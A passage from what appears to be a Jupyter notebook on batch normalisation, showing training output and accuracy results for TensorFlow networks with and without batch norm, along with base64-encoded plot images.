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\nRK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa6b4f6fd0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(False, 1, tf.nn.sigmoid)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "In this example, we switched to a sigmoid activation function. It appears to hande the higher learning rate well, with both networks achieving high accuracy.\n", "\n", "The cell below shows a similar pair of networks trained for only 2000 iterations." ] }, { "cell_type": "code", "execution_count": 10, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 2000/2000 [00:01<00:00, 1167.28it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.920799732208252\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 2000/2000 [00:04<00:00, 490.92it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.951799750328064\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.9227001070976257\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9463001489639282\n" ] }, { "data": { "image/png": "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